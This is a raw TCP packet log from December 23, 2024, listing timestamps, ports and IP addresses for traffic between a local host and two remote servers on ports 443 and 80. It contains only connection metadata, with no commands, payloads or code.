Dec 23, 2024 08:40:11.729007006 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.729084015 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.729100943 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.738634109 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.738698006 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.738713980 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.750169992 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.750247002 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.750273943 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.758223057 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:11.763741016 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.763789892 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.763824940 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.831089020 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.831161022 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.831212044 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.831238985 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.831413031 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.835274935 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.843648911 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.843703985 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.843718052 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.877655983 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:11.877731085 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:11.878057957 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:11.905889988 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.906136990 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.906150103 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.916626930 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.916910887 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.916927099 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.924740076 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.924829960 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.924838066 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.937634945 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.937712908 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.937725067 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.951340914 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.951436996 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.951443911 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.965018034 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.965095043 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.965107918 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.977616072 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.977925062 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.977931023 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.991061926 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.991173029 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.991185904 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.997519970 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:12.004836082 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.004914045 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.004924059 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.017648935 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.017733097 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.017743111 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.029632092 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.029706001 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.029728889 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.041412115 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.041484118 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.041492939 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.053549051 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.053617001 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.053626060 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.065309048 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.065514088 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.065531969 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.090481997 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.090533972 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.090559959 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.093568087 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.093643904 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.093667984 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.101222038 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.101422071 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.101433992 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.109222889 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.109293938 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.109313011 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.116887093 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.116964102 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.116971016 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.124480963 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.124538898 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.124556065 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.132101059 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.132302999 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.132320881 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.139643908 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.139691114 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.139715910 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.147371054 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.147953987 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.147964954 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.154916048 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.154978037 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.154985905 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.162508011 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.162589073 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.162599087 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.170703888 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.174316883 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.174326897 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.177746058 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.177927017 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.177946091 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.185323000 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.185374975 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.185381889 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.192930937 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.192997932 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.193006039 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.200514078 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.200573921 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.200583935 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.208149910 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.208203077 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.208220005 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.216442108 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.216515064 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.216521978 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.223298073 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.223365068 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.223381042 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.231468916 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.231570959 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.231592894 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.243288040 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.243350029 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.243372917 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.246557951 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.246640921 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.246649981 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.253010988 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.253093004 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.253103018 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.260266066 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.260329962 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.260340929 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.266920090 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.267096043 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.267107010 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.280333996 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.280369043 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.280430079 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.280443907 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.280668974 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.281801939 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.285312891 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.285376072 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.285382986 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.285403013 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.285811901 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.290353060 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.294936895 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.295011997 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.295034885 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.295053005 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.295392990 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.299680948 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.304266930 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.304338932 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.304353952 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.308934927 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.309014082 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.309035063 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.313724995 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.313791037 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.314286947 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.314311981 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.314404964 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.314404964 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:12.314466953 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:12.314538956 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:13.384968996 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.385013103 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.385030985 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.385062933 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.385071039 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.385080099 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.385088921 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.385128975 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:13.385183096 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:13.385420084 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.385437965 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.385446072 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.385513067 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:13.505316019 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.505376101 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.505624056 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:13.509747028 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.597750902 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.597809076 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:13.597870111 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.601855040 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.601907015 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:13.601977110 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.610311031 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.610409975 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:13.610455990 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.618582964 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.618709087 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.618762970 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:13.626996994 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.627052069 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:13.627116919 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.635354996 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.635418892 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:13.635447025 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.643742085 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.643798113 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:13.643840075 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.652122974 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.652173996 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.652204037 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:13.763283968 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.763299942 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.763356924 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:13.771564960 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.771579027 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.771610975 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:13.882663012 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.882678986 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.882749081 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:13.890954018 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.890974998 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:13.891005993 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:13.973948002 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.003376007 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.003436089 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.003448009 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.003458023 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.003489017 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.003494978 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.003504992 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.003530025 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.003551006 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.004389048 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.004403114 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.004435062 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.004447937 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.004452944 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.004496098 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.005305052 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.005317926 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.005351067 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.005363941 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.005378962 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.005394936 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.005409956 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.006058931 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.006117105 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.006299019 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.006313086 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.006325006 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.006360054 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.007114887 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.007128000 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.007138968 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.007168055 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.007168055 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.007181883 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.007194042 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.007204056 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.007208109 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.007220984 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.007231951 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.007239103 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.007272005 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.008038998 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.008052111 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.008063078 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.008075953 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.008088112 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.008100033 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.008104086 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.008112907 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.008126020 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.008127928 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.008143902 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.008177042 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.008992910 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.009007931 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.009067059 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.015384912 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.083340883 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.093594074 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.093705893 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.093755960 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.096790075 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.096986055 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.097095013 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.103286982 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.103384018 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.103430033 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.123099089 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.123359919 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.123413086 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.126303911 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.126365900 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.126415014 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.132817030 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.132886887 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.132927895 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.139132023 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.139363050 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.139414072 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.145615101 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.145813942 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.145905972 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.149769068 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.149950027 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.149996996 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.154031038 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.154181004 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.154231071 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.158308029 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.158473969 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.158518076 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.162547112 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.162566900 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.162615061 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.166719913 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.166801929 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.166843891 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.170955896 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.171076059 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.171129942 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.175107956 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.175200939 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.175257921 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.179383039 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.179523945 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.179574966 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.183562994 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.183748960 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.183895111 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.187764883 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.187922001 CET	80	49813	139.99.188.124	192.168.2.9
